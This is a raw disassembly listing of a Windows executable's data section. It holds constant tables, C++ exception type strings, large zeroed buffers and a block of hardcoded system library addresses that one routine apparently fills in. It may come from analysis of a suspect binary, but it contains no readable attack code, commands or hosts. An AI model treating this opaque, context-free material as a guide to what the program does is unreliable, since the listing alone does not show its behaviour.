; sub_41BCA8+46r ...
align 10h
dword_43B420 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42037Ao
dword_43B438 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420390o
dword_43B450 dd 7080h ; DATA XREF: sub_41D309+76r
; sub_42067A+5Ew ...
dword_43B454 dd 1 ; DATA XREF: sub_41D309+98r
; sub_42067A+8Bw ...
dword_43B458 dd 0FFFFF1F0h ; DATA XREF: sub_41D309:loc_41D3BBr
; sub_42067A+94w ...
dword_43B45C dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_43B4DCo
dword_43B49C dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_43B4E0o
off_43B4DC dd offset dword_43B45C ; DATA XREF: sub_42067A+BAr
; sub_42067A+D9r ...
off_43B4E0 dd offset dword_43B49C ; DATA XREF: sub_42067A+F4r
; sub_42067A+11Br ...
align 8
dword_43B4E8 dd 0FFFFFFFFh ; DATA XREF: sub_42067A+1Dw
; sub_4208D8+1Er ...
dword_43B4EC dd 0 ; DATA XREF: sub_4208D8:loc_420A0Cr
; sub_420A84+BFw
dword_43B4F0 dd 0 ; DATA XREF: sub_4208D8+192r
; sub_420A84+E0w
align 8
dword_43B4F8 dd 0FFFFFFFFh ; DATA XREF: sub_42067A+17w
; sub_4208D8+26r ...
dword_43B4FC dd 0 ; DATA XREF: sub_4208D8+13Ar
; sub_420A84+EAw ...
dword_43B500 dd 0 ; DATA XREF: sub_4208D8+1A1r
; sub_420A84+23r ...
dword_43B504 dd 0FFFFFFFFh ; DATA XREF: sub_420A84+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43B534 dd 16Dh ; DATA XREF: sub_41D309+2Ar
; sub_420A84+2Er ...
dword_43B538 dd 0FFFFFFFFh ; DATA XREF: sub_420A84:loc_420B10r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43B570 dd 2 dup(0) ; DATA XREF: sub_421DF1+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43B6D0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_421DF1+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43B82C dd offset off_423CF8 ; DATA XREF: .data:00423ED4o
; .data:00423FACo
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43B844 dd offset off_423CF8 ; DATA XREF: .data:off_423D88o
; .data:00423DC8o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43B864 dd offset off_423CF8 ; DATA XREF: .data:off_423DD0o
; .data:00423E14o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43B884 dd offset off_423CF8 ; DATA XREF: .data:off_423E1Co
; .data:00423E60o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 8
off_43B8A8 dd offset off_423CF8 ; DATA XREF: .data:off_423E68o
; .data:00423EA4o
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42059A
align 8
byte_43B8C8 db 0 ; DATA XREF: sub_401444+1C1w
; sub_401444+2C0o
align 2
word_43B8CA dw 0 ; DATA XREF: sub_401444+1D1w
word_43B8CC dw 0 ; DATA XREF: sub_401444+1D7w
word_43B8CE dw 0 ; DATA XREF: sub_401444+1DEw
byte_43B8D0 db 0 ; DATA XREF: sub_401444+1E5w
byte_43B8D1 db 0 ; DATA XREF: sub_401444+1ECw
word_43B8D2 dw 0 ; DATA XREF: sub_401444+1F2w
dword_43B8D4 dd 0 ; DATA XREF: sub_401444+220w
; sub_401444+23Ew
dword_43B8D8 dd 0 ; DATA XREF: sub_401444+246w
byte_43B8DC db 0 ; DATA XREF: sub_401444+258w
byte_43B8DD db 0 ; DATA XREF: sub_401444+26Bw
word_43B8DE dw 0 ; DATA XREF: sub_401444+283w
word_43B8E0 dw 0 ; DATA XREF: sub_401444+292w
word_43B8E2 dw 0 ; DATA XREF: sub_401444+28Aw
dword_43B8E4 dd 100h dup(0) ; DATA XREF: sub_401444+2A7o
dword_43BCE4 dd 0 ; DATA XREF: sub_4029C8+9Eo
byte_43BCE8 db 0 ; DATA XREF: sub_4029C8+36r
; sub_402AAB+37r ...
align 4
dword_43BCEC dd 7A5h ; DATA XREF: sub_4030A7+10w
; sub_4030BE+30r ...
dword_43BCF0 dd 2 dup(0) ; DATA XREF: sub_403E73+68o
dword_43BCF8 dd 0 ; DATA XREF: sub_403923+13o
; sub_40EC43+60D3o ...
dword_43BCFC dd 2080Ah ; DATA XREF: sub_404808+8w
; sub_404904+2C9o
dword_43BD00 dd 2 dup(0) ; DATA XREF: sub_404904+1F8o
dword_43BD08 dd 0 ; DATA XREF: sub_40586C+2Aw
; sub_40586C+51r ...
dword_43BD0C dd 0 ; DATA XREF: sub_4030BE+AEr
; .data:0040428Fr ...
dword_43BD10 dd 0 ; DATA XREF: sub_40702C+18r
; sub_40747F+92w ...
dword_43BD14 dd 0 ; DATA XREF: sub_4075B8+1F7r
; sub_4077CC+D9w ...
dd 3E6h dup(0)
dword_43CCB0 dd 6 dup(0) ; DATA XREF: sub_4075B8+C0o
; sub_4075B8+129o ...
dword_43CCC8 dd 0 ; DATA XREF: sub_4070A3+82w
; sub_4070A3+FFo
dword_43CCCC dd 41h dup(0) ; DATA XREF: sub_4070A3+41o
dword_43CDD0 dd 41h dup(0) ; DATA XREF: sub_4070A3+63o
dword_43CED4 dd 0 ; DATA XREF: sub_4070A3+F5w
; sub_4070A3+111r
dword_43CED8 dd 0 ; DATA XREF: sub_4070A3+52w
dword_43CEDC dd 0 ; DATA XREF: sub_4070A3+4Dw
; sub_4070A3+D2r
dword_43CEE0 dd 20h dup(0) ; DATA XREF: sub_4070A3+9Ao
; sub_4070A3+B7o
dword_43CF60 dd 0 ; DATA XREF: sub_4070A3+8Fw
dword_43CF64 dd 0 ; DATA XREF: sub_4070A3+A4w
; sub_4070A3+C1w
dword_43CF68 dd 0 ; DATA XREF: sub_4070A3:loc_407269r
align 10h
dword_43CF70 dd 0 ; DATA XREF: sub_4070A3+2D5w
; sub_4070A3+32Eo
dword_43CF74 dd 0A2h dup(0) ; DATA XREF: sub_4070A3+2C3o
dword_43D1FC dd 41h dup(0) ; DATA XREF: sub_4070A3+28Do
dword_43D300 dd 0 ; DATA XREF: sub_4070A3+2BAw
; sub_4070A3+2E1r
align 8
dword_43D308 dd 0 ; DATA XREF: sub_4070A3+324w
; sub_4070A3+340r
dword_43D30C dd 0 ; DATA XREF: sub_4070A3+2E7w
dword_43D310 dd 0 ; DATA XREF: sub_4070A3+2F4w
dword_43D314 dd 0 ; DATA XREF: sub_4070A3+2B4w
dd 0
dword_43D31C dd 0 ; DATA XREF: sub_4070A3:loc_40742Dr
dword_43D320 dd 0 ; DATA XREF: sub_4070A3+190w
; sub_4070A3+222o
dword_43D324 dd 41h dup(0) ; DATA XREF: sub_4070A3+152o
dword_43D428 dd 41h dup(0) ; DATA XREF: sub_4070A3+171o
dword_43D52C dd 0 ; DATA XREF: sub_4070A3+218w
; sub_4070A3+234r
dword_43D530 dd 0 ; DATA XREF: sub_4070A3+160w
dword_43D534 dd 0 ; DATA XREF: sub_4070A3+1F5r
dword_43D538 dd 20h dup(0) ; DATA XREF: sub_4070A3+1A8o
; sub_4070A3+1DAo
dword_43D5B8 dd 0 ; DATA XREF: sub_4070A3+19Dw
dword_43D5BC dd 0 ; DATA XREF: sub_4070A3+1B2w
; sub_4070A3+1E4w
dword_43D5C0 dd 0 ; DATA XREF: sub_4070A3:loc_407307r
dword_43D5C4 dd 0 ; DATA XREF: sub_40862B+Fr
; sub_408824+12r
dword_43D5C8 dd 80h dup(0) ; DATA XREF: sub_40953F+41o
dword_43D7C8 dd 200h dup(0) ; DATA XREF: sub_408E7C+C7o
; sub_4091D7+DDo ...
dword_43DFC8 dd 200h dup(0) ; DATA XREF: sub_408E7C+D6o
; sub_4091D7+F4o ...
dword_43E7C8 dd 0 ; DATA XREF: sub_408E7C+86w
; sub_40904E+94r
dword_43E7CC dd 0 ; DATA XREF: sub_408E7C+A7w
; sub_4094A8+55r ...
dword_43E7D0 dd 0 ; DATA XREF: sub_408E7C+A0w
; sub_40904E+D6r ...
dword_43E7D4 dd 0 ; DATA XREF: sub_408E7C+79w
; sub_40904E+35r ...
dword_43E7D8 dd 80h dup(0) ; DATA XREF: sub_4094A8+5Eo
dword_43E9D8 dd 0 ; DATA XREF: sub_408E7C+93w
; sub_40904E+A2r
dword_43E9DC dd 0 ; DATA XREF: sub_408E7C+E7o
; sub_408E7C+103r ...
dword_43E9E0 dd 0 ; DATA XREF: sub_4091D7+178w
; sub_40937B+107w
dword_43E9E4 dd 0 ; DATA XREF: sub_4091D7+17Dw
; sub_40937B+10Dw ...
dword_43E9E8 dd 0 ; DATA XREF: sub_4091D7+156w
; sub_4094A8+4Fr
dword_43E9EC dd 77C72C6Bh ; DATA XREF: sub_4083F0+210r
; sub_4083F0+21Ar ...
dword_43E9F0 dd 77EBA994h ; DATA XREF: sub_409658+65w
; sub_414F16+EEr
dword_43E9F4 dd 7622A3F4h ; DATA XREF: sub_409658+7EDw
; sub_409658+862r ...
dword_43E9F8 dd 71C45229h ; DATA XREF: sub_409658+9BAw
; sub_409658+A18r ...
dword_43E9FC dd 71C24870h ; DATA XREF: sub_409658+96Cw
; sub_409658+9E8r ...
dword_43EA00 dd 77C71BB0h ; DATA XREF: sub_4083F0+D1r
; sub_409658+46Fw ...
dword_43EA04 dd 77D4808Bh ; DATA XREF: sub_402394+ECr
; sub_402394+108r ...
dword_43EA08 dd 71C4502Ch ; DATA XREF: sub_409658+9ADw
; sub_409658+A10r ...
dword_43EA0C dd 77DE801Bh ; DATA XREF: sub_409658+354w
; sub_409658+3A9r ...
dword_43EA10 dd 77DDACABh ; DATA XREF: sub_409658+3F1w
; sub_40B6ED+11Er
dword_43EA14 dd 77DE8075h ; DATA XREF: sub_409658+361w
; sub_409658+3B1r ...
dword_43EA18 dd 77DD7496h ; DATA XREF: sub_409658+3A2w
; sub_40DAED+ADr
dword_43EA1C dd 71AB1B7Bh ; DATA XREF: sub_405983+115r
; sub_4082F7+76r ...
dword_43EA20 dd 77E686CCh ; DATA XREF: sub_409658+72w
; sub_409658+D2r ...
dword_43EA24 dd 71C2498Bh ; DATA XREF: sub_409658+95Fw
; sub_409658+9DBr ...
dword_43EA28 dd 77DDAB2Fh ; DATA XREF: sub_409658+388w
; sub_409658+3C9r ...
dword_43EA2C dd 7620E8C3h ; DATA XREF: sub_409658+83Bw
; sub_409658+88Er ...
dword_43EA30 dd 77DD23D7h ; DATA XREF: sub_408A63+58r
; sub_409658+2A5w ...
dword_43EA34 dd 76214750h ; DATA XREF: sub_409658+82Ew
; sub_409658+886r ...
dword_43EA38 dd 77E6D75Bh ; DATA XREF: sub_409658+B3w
dword_43EA3C dd 7620BD61h ; DATA XREF: sub_409658+848w
; sub_409658+896r ...
dword_43EA40 dd 71AB60C9h ; DATA XREF: sub_407A23+7Er
; sub_409658+52Fw ...
dword_43EA44 dd 77EBA6E9h ; DATA XREF: sub_409658+58w
; sub_409658+CAr ...
dword_43EA48 dd 76D62A58h ; DATA XREF: sub_409658+916w
; sub_40ADB1+11Ar
dword_43EA4C dd 76F36EAAh ; DATA XREF: sub_409658+A66w
; sub_409658+A6Dr ...
dword_43EA50 dd 77E802FCh ; DATA XREF: sub_409658+A6w
; sub_409658+F2r
dword_43EA54 dd 77C75455h ; DATA XREF: sub_4083F0+119r
; sub_409658+462w ...
dword_43EA58 dd 71AB12A7h ; DATA XREF: sub_407437+20r
; sub_409658+5D8w ...
dword_43EA5C dd 71C574FAh ; DATA XREF: sub_409658+9A0w
; sub_409658+A08r
dword_43EA60 dd 71AB1746h ; DATA XREF: sub_402669+280r
; sub_409658+5CBw ...
dword_43EA64 dd 71B28D0Dh ; DATA XREF: sub_402AAB+A7r
; sub_409658+B21w
dword_43EA68 dd 762211EFh ; DATA XREF: sub_409658+7E0w
; sub_409658+84Fr ...
dword_43EA6C dd 77D902E3h ; DATA XREF: sub_409658+1B3w
; sub_40AA4E+15r
dword_43EA70 dd 71C2FA86h ; DATA XREF: sub_409658+979w
; sub_409658+9F0r ...
dword_43EA74 dd 77DE1291h ; DATA XREF: sub_409658+36Ew
; sub_409658+3B9r ...
dword_43EA78 dd 77E2C1B3h ; DATA XREF: sub_409658+37Bw
; sub_409658+3C1r ...
dword_43EA7C dd 73B81E3Bh ; DATA XREF: sub_40862B+28r
; sub_408824+2Br ...
dword_43EA80 dd 71ABF628h ; DATA XREF: sub_409658+68Ew
; sub_415208+D0r
dword_43EA84 dd 71AB1836h ; DATA XREF: sub_4010B2:loc_4013B3r
; sub_401A64:loc_401CE0r ...
dword_43EA88 dd 77C72889h ; DATA XREF: sub_4083F0+207r
; sub_409658+496w
dword_43EA8C dd 71C453F8h ; DATA XREF: sub_409658+9C7w
; sub_409658+A20r ...
dword_43EA90 dd 77DD5C55h ; DATA XREF: sub_409658+2B2w
; sub_409658+2DEr ...
dword_43EA94 dd 77E96645h ; DATA XREF: sub_409658+7Fw
; sub_409658+DAr ...
dword_43EA98 dd 77428B97h ; DATA XREF: sub_409658+B6Ew
; sub_409658+B75r ...
dword_43EA9C dd 71AB41DAh ; DATA XREF: sub_4010B2+2Fr
; sub_401A64+2Fr ...
dword_43EAA0 dd 762059A3h ; DATA XREF: sub_409658+807w
; sub_409658+872r ...
dword_43EAA4 dd 71C4A1B4h ; DATA XREF: sub_409658+986w
; sub_409658+9F8r
dword_43EAA8 dd 1F7CD214h ; DATA XREF: sub_409658+BDFw
; sub_409658+C10r
dword_43EAAC dd 77D4456Bh ; DATA XREF: sub_402394+40r
; sub_402394+63r ...
dword_43EAB0 dd 76D629BBh ; DATA XREF: sub_409658+8FCw
; sub_409658+910r ...
dword_43EAB4 dd 1F7B9D96h ; DATA XREF: sub_409658+BF9w
dword_43EAB8 dd 71AB1740h ; DATA XREF: sub_4010B2:loc_4013BFr
; sub_401444+3Cr ...
dword_43EABC dd 7620AFB6h ; DATA XREF: sub_409658+821w
; sub_409658+855r
dword_43EAC0 dd 77D5C13Ah ; DATA XREF: sub_402394+50r
; sub_402394+78r ...
dword_43EAC4 dd 77D45B19h ; DATA XREF: sub_40862B+3Fr
; sub_40862B+69r ...
dword_43EAC8 dd 71AB157Eh ; DATA XREF: sub_409658+65Aw
; sub_409658+786r ...
dword_43EACC dd 71AB3E5Dh ; DATA XREF: sub_402DB1+20Ar
; sub_4030BE+5Er ...
dword_43EAD0 dd 71AB14DCh ; DATA XREF: sub_402669+16Er
; sub_409658+549w ...
dword_43EAD4 dd 0CC0004h ; DATA XREF: sub_409658+8BDw
; sub_409658:loc_409F33w ...
dword_43EAD8 dd 77DD590Bh ; DATA XREF: sub_409658+28Bw
; sub_409658+2C6r ...
dword_43EADC dd 71ABD755h ; DATA XREF: sub_407BAA+98r
; sub_409658+681w ...
dword_43EAE0 dd 77DF7311h ; DATA XREF: sub_409658+30Fw
; sub_409658+323r ...
dword_43EAE4 dd 77DDA2AFh ; DATA XREF: sub_409658+395w
; sub_409658+3D1r ...
dword_43EAE8 dd 1F7CD927h ; DATA XREF: sub_409658+BD2w
; sub_409658+C08r
dword_43EAEC dd 76206853h ; DATA XREF: sub_409658+7FAw
; sub_409658+86Ar ...
dword_43EAF0 dd 77D4932Ch ; DATA XREF: sub_402394+FCr
; sub_409658+206w ...
dword_43EAF4 dd 77D5E310h ; DATA XREF: sub_409658+18Cw
; sub_409658+1D2r ...
dword_43EAF8 dd 76206B7Fh ; DATA XREF: sub_409658+814w
; sub_409658+87Ar ...
dword_43EAFC dd 71AB1444h ; DATA XREF: sub_406A71+244r
; sub_409658+606w ...
dword_43EB00 dd 77DD189Ah ; DATA XREF: sub_408A63+196r
; sub_409658+2BFw ...
dword_43EB04 dd 71AB3F8Dh ; DATA XREF: sub_4010B2+6Fr
; sub_401444+AAr ...
dword_43EB08 dd 77DD5D20h ; DATA XREF: sub_409658+302w
; sub_409658+316r ...
dword_43EB0C dd 71AB1890h ; DATA XREF: sub_405983+F9r
; sub_406A71+1FCr ...
dword_43EB10 dd 77C76B34h ; DATA XREF: sub_4083F0+16r
; sub_409658+42Ew ...
dword_43EB14 dd 77D5E38Ch ; DATA XREF: sub_409658+199w
; sub_409658+1DAr ...
dword_43EB18 dd 77DDA20Bh ; DATA XREF: sub_409658+347w
; sub_409658+39Cr ...
dword_43EB1C dd 76F36EEBh ; DATA XREF: sub_409658+A73w
dword_43EB20 dd 71AB12A7h ; DATA XREF: sub_4010B2+EBr
; sub_4010B2+1F9r ...
dword_43EB24 dd 71AB1746h ; DATA XREF: sub_4010B2+87r
; sub_4010B2+9Dr ...
dword_43EB28 dd 77EBA595h ; DATA XREF: sub_409658+4Bw
; sub_409658+C2r ...
dword_43EB2C dd 77C7531Dh ; DATA XREF: sub_4083F0+2Cr
; sub_4083F0+38r ...
dword_43EB30 dd 77D4BDCAh ; DATA XREF: sub_409658+165w
; sub_409658+1BAr ...
dword_43EB34 dd 71C3516Ah ; DATA XREF: sub_409658+9E1w
; sub_40E3CC+72r
dword_43EB38 dd 71AB32CAh ; DATA XREF: sub_409658+667w
; sub_409658+78Er
dword_43EB3C dd 71AB5690h ; DATA XREF: sub_402669+206r
; sub_402DB1+23Br ...
dword_43EB40 dd 1F7CB8F8h ; DATA XREF: sub_409658+BECw
; sub_409658+C18r
dword_43EB44 dd 77EBB1E7h ; DATA XREF: sub_409658+3Ew
; sub_409658+BAr ...
dword_43EB48 dd 77DD59F0h ; DATA XREF: sub_409658+298w
; sub_409658+2CEr ...
dword_43EB4C dd 71AB5DE2h ; DATA XREF: sub_405983+9Er
; sub_407A23+9Cr ...
dword_43EB50 dd 71AB3ECEh ; DATA XREF: sub_402669+EBr
; sub_405983+89r ...
dword_43EB54 dd 73B81B0Fh ; DATA XREF: sub_409658+C63w
; sub_40EC43+45DAr
dword_43EB58 dd 76204E4Dh ; DATA XREF: sub_409658+85Bw
; sub_40BA67+209r ...
dword_43EB5C dd 0 ; DATA XREF: sub_409658+112w
dword_43EB60 dd 1F7D886Ah ; DATA XREF: sub_409658+BB8w
; sub_409658+BF3r
dword_43EB64 dd 71AB12F8h ; DATA XREF: sub_401444+119r
; sub_401444+1A0r ...
dword_43EB68 dd 77C76551h ; DATA XREF: sub_4083F0+BCr
; sub_409658+43Bw ...
dword_43EB6C dd 77C729E2h ; DATA XREF: sub_4083F0+FBr
; sub_409658+47Cw ...
dword_43EB70 dd 77C7212Fh ; DATA XREF: sub_4083F0+65r
; sub_409658+448w ...
dword_43EB74 dd 71AB1AF4h ; DATA XREF: sub_402DB1+221r
; sub_402DB1+249r ...
dword_43EB78 dd 77D5E303h ; DATA XREF: sub_409658+1A6w
; sub_409658+1E2r ...
dword_43EB7C dd 71C4576Ch ; DATA XREF: sub_409658+9D4w
; sub_409658+A28r ...
dword_43EB80 dd 77D4702Fh ; DATA XREF: sub_40862B+53r
; sub_40862B+7Fr ...
dword_43EB84 dd 77E6C0E3h ; DATA XREF: sub_409658+8Cw
; sub_409658+E2r ...
dword_43EB88 dd 71AB1ED3h ; DATA XREF: sub_4010B2+2C2r
; sub_401444+2C8r ...
dword_43EB8C dd 71B2A381h ; DATA XREF: sub_409658+B14w
; sub_409658+B30r
dword_43EB90 dd 77DDA595h ; DATA XREF: sub_409658+31Cw
; sub_414EAB+55r
dword_43EB94 dd 77DD22EAh ; DATA XREF: sub_408A63+3Fr
; sub_409658+27Ew ...
dword_43EB98 dd 773F97B0h ; DATA XREF: sub_409658+B7Bw
dword_43EB9C dd 76D67A29h ; DATA XREF: sub_409658+ABDw
; sub_40AC30+8Fr
dword_43EBA0 dd 76D674FAh ; DATA XREF: sub_409658+AB0w
; sub_409658+AB7r ...
dword_43EBA4 dd 71AB3C22h ; DATA XREF: sub_401444+2Er
; sub_401D6D+55r ...
dword_43EBA8 dd 71AB2BBFh ; DATA XREF: sub_407BAA+88r
; sub_409658+674w ...
dword_43EBAC dd 1F7BA3A9h ; DATA XREF: sub_409658+BC5w
; sub_409658+C00r
dword_43EBB0 dd 71AB401Ch ; DATA XREF: sub_402669+28Dr
; sub_406A71+250r ...
dword_43EBB4 dd 71C214BAh ; DATA XREF: sub_409658+993w
; sub_409658+A00r ...
dword_43EBB8 dd 71AB868Dh ; DATA XREF: sub_405983+13Dr
; sub_407A23+B3r ...
dword_43EBBC dd 71AB1A6Dh ; DATA XREF: sub_4010B2+2FAr
; sub_401444+2F4r ...
dword_43EBC0 dd 71AB155Ah ; DATA XREF: sub_405983+B7r
; sub_405983+376r ...
dword_43EBC4 dd 71B22C25h ; DATA XREF: sub_4029C8+B0r
; sub_4029C8+C8r ...
dword_43EBC8 dd 71AB5A01h ; DATA XREF: sub_4010B2+4Fr
; sub_401A64+4Fr ...
dword_43EBCC dd 71B2ACCBh ; DATA XREF: sub_409658+AFAw
; sub_409658+B1Br
dword_43EBD0 dd 77E78C17h ; DATA XREF: sub_409658+31w
; sub_409658+ADr ...
dword_43EBD4 dd 77D49A11h ; DATA XREF: sub_40862B+1ECr
; sub_408824+232r ...
dword_43EBD8 dd 76D62A37h ; DATA XREF: sub_409658+909w
; sub_409658+91Dr ...
dword_43EBDC dd 77E6CBF9h ; DATA XREF: sub_409658+99w
; sub_409658+EAr ...
dword_43EBE0 dd 0 ; DATA XREF: sub_409658:loc_409756w
; sub_409658+12Bw ...
dword_43EBE4 dd 0 ; DATA XREF: sub_409658+126w
; sub_40A2E5+1Cr
dword_43EBE8 dd 0 ; DATA XREF: sub_409658:loc_409846w
; sub_409658:loc_4098ADw ...
dword_43EBEC dd 0 ; DATA XREF: sub_409658+250w
; sub_40A2E5+50r
dword_43EBF0 dd 0 ; DATA XREF: sub_409658:loc_409942w
; sub_409658:loc_409987w ...
dword_43EBF4 dd 0 ; DATA XREF: sub_409658+400w
; sub_40A2E5+84r
dword_43EBF8 dd 0 ; DATA XREF: sub_409658:loc_409B3Ew
; sub_40A2E5:loc_40A395r
dword_43EBFC dd 0 ; DATA XREF: sub_409658+4E1w
; sub_40A2E5+B8r
dword_43EC00 dd 0 ; DATA XREF: sub_409658:loc_409E0Fw
; sub_40A2E5:loc_40A3C9r
dword_43EC04 dd 0 ; DATA XREF: sub_409658+7B2w
; sub_40A2E5+ECr
dword_43EC08 dd 0 ; DATA XREF: sub_409658:loc_409EFAw
; sub_409658+8D1w ...
dword_43EC0C dd 0 ; DATA XREF: sub_409658+8CCw
; sub_40A2E5+120r
dword_43EC10 dd 0 ; DATA XREF: sub_409658:loc_409F8Ew
; sub_40A2E5:loc_40A431r ...
dword_43EC14 dd 0 ; DATA XREF: sub_409658+931w
; sub_40A2E5+154r
dword_43EC18 dd 0 ; DATA XREF: sub_409658:loc_40A099w
; sub_40A2E5:loc_40A465r ...
dword_43EC1C dd 0 ; DATA XREF: sub_409658+A3Cw
; sub_40A2E5+188r
dword_43EC20 dd 0 ; DATA XREF: sub_409658:loc_40A0E3w
; sub_40A2E5:loc_40A499r
dword_43EC24 dd 0 ; DATA XREF: sub_409658+A86w
; sub_40A2E5+1BCr
dword_43EC28 dd 0 ; DATA XREF: sub_409658:loc_40A12Dw
; sub_40A2E5:loc_40A4CDr
dword_43EC2C dd 0 ; DATA XREF: sub_409658+AD0w
; sub_40A2E5+1F0r
dword_43EC30 dd 0 ; DATA XREF: sub_409658:loc_40A1A1w
; sub_40A2E5:loc_40A501r
dword_43EC34 dd 0 ; DATA XREF: sub_409658+B44w
; sub_40A2E5+224r
dword_43EC38 dd 0 ; DATA XREF: sub_409658:loc_40A1EBw
; sub_40A2E5:loc_40A535r
dword_43EC3C dd 0 ; DATA XREF: sub_409658+B8Ew
; sub_40A2E5+258r
dword_43EC40 dd 0 ; DATA XREF: sub_409658:loc_40A289w
; sub_40A2E5:loc_40A569r
dword_43EC44 dd 0 ; DATA XREF: sub_409658+C2Cw
; sub_40A2E5+28Cr
dword_43EC48 dd 0 ; DATA XREF: sub_409658:loc_40A2D3w
; sub_40A2E5:loc_40A59Dr
dword_43EC4C dd 0 ; DATA XREF: sub_409658+C76w
; sub_40A2E5+2C0r
dword_43EC50 dd 80h dup(0) ; DATA XREF: sub_40A863+6Ao
dword_43EE50 dd 4 dup(0) ; DATA XREF: sub_40AD08+32o
dword_43EE60 dd 0 ; DATA XREF: sub_40B154:loc_40B175r
; sub_40B243+54r ...
dword_43EE64 dd 0 ; DATA XREF: sub_40B154r
; sub_40B243+37r ...
dword_43EE68 dd 0 ; DATA XREF: sub_40B184+1Ar
; sub_40B398+83o
dword_43EE6C dd 0 ; DATA XREF: sub_40B154:loc_40B168r
; sub_40B398+11Bw
dword_43EE70 dd 0Dh dup(0) ; DATA XREF: sub_40B243+13o
; sub_40B398:loc_40B4D5o
dword_43EEA4 dd 0 ; DATA XREF: sub_40B243+CDr
; sub_40B243+ECr ...
dword_43EEA8 dd 0Eh dup(0) ; DATA XREF: sub_40B54D+3Eo
dword_43EEE0 dd 1000h dup(0) ; DATA XREF: sub_40BD8D+1Do
; sub_40BE2Do ...
dword_442EE0 dd 0Dh dup(0) ; DATA XREF: sub_40BD8D+13o
; sub_40BE2D+Eo ...
dword_442F14 dd 0 ; DATA XREF: sub_40D1A2+C8o
dword_442F18 dd 18h dup(0) ; DATA XREF: sub_40D63A:loc_40D757o
; sub_40D63A+131o ...
dword_442F78 dd 80h dup(0) ; DATA XREF: sub_40E3CC+7Co
; sub_40E3CC+A5o
dword_443178 dd 0 ; DATA XREF: sub_40D9B7+45w
; sub_40D9B7+4Dr ...
align 10h
dword_443180 dd 18h dup(0) ; DATA XREF: sub_40E298:loc_40E3BAo
; sub_40E298+12Do
dword_4431E0 dd 80h dup(0) ; DATA XREF: sub_40D8F8+4Bo
; sub_40D8F8+7Do ...
byte_4433E0 db 0 ; DATA XREF: sub_40D9B7+29r
; sub_40D9B7+34w
align 8
dword_4433E8 dd 80h dup(0) ; DATA XREF: sub_40DC0E+61o
; sub_40DC0E+88o ...
dword_4435E8 dd 80h dup(0) ; DATA XREF: sub_40D511+33o
; sub_40D511+50o ...
dword_4437E8 dd 0 ; DATA XREF: sub_40BC95+Ao
; sub_40BC95+44r ...
dd 5 dup(0)
dword_443800 dd 0 ; DATA XREF: sub_40BC95+60r
; sub_40EC43+B6Ar
dd 2D9h dup(0)
dword_444368 dd 0 ; DATA XREF: sub_4075B8+96r
; sub_40BC95+2Do ...
